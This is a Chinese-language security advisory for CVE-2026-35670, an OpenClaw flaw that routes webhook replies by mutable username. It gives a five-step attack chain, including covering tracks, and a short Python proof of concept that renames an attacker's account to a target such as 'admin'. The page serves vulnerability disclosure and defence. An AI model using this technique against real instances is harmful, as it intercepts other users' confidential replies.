IPBUF安全漏洞报告
English
CVE-2026-35670 CVSS 5.9 中危

CVE-2026-35670 OpenClaw Webhook回复重绑定漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35670
漏洞类型
业务逻辑漏洞
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

业务逻辑漏洞权限绕过OpenClawWebhookIDOR

漏洞概述

OpenClaw在2026.3.22版本之前存在Webhook回复交付漏洞。由于系统依赖可变的用户名而非稳定的数字ID来匹配接收者,攻击者可操纵用户名更改,将Webhook触发的回复重定向至其他用户,导致机密性泄露。

技术细节

该漏洞源于OpenClaw在处理Webhook事件回复时,错误地使用了可变属性(用户名)作为路由标识,而非不可变的数字ID。攻击者利用这一逻辑缺陷,在Webhook触发回复的时间窗口内,修改自身用户名以匹配预期接收者。系统在投递阶段执行动态用户名查询,导致将敏感回复错误发送给攻击者。这种重绑定攻击绕过了原有的接收者绑定机制,反映了系统在身份验证与授权绑定设计上的严重缺陷。

攻击链分析

STEP 1
侦察
攻击者发现OpenClaw实例使用用户名进行Webhook回复路由,且允许用户随时更改用户名。
STEP 2
触发
攻击者等待或诱导系统触发一个针对特定目标用户(如管理员)的Webhook回复事件。
STEP 3
重绑定
在系统处理Webhook并准备发送回复的极短时间窗口内,攻击者将自己的用户名修改为目标用户的用户名。
STEP 4
接收
系统根据匹配的用户名将原本发给目标用户的敏感信息发送给了攻击者。
STEP 5
清理
攻击者将用户名改回或更改为其他名称,以掩盖攻击痕迹。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-35670 # Demonstrating how changing a username can intercept a webhook reply import requests def exploit_webhook_rebinding(target_username, attacker_session): """ Attacker changes their username to match the target to intercept the webhook payload. """ # 1. Change attacker's username to the target's username rename_url = "https://openclaw-instance/api/v1/user/update" headers = {"Authorization": f"Bearer {attacker_session}"} data = {"username": target_username} response = requests.patch(rename_url, headers=headers, json=data) if response.status_code == 200: print(f"[+] Username successfully changed to '{target_username}'") print("[+] Waiting for webhook delivery...") # If a webhook is triggered for 'target_username' now, # the server routes it to the attacker's account. else: print("[-] Failed to change username") # Usage # exploit_webhook_rebinding("admin", "attacker_stolen_token")

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
建议管理员暂时禁用受影响版本的Webhook功能,并严格审查用户名变更日志,重点关注在Webhook活跃期间发生的用户名重命名事件,以检测是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表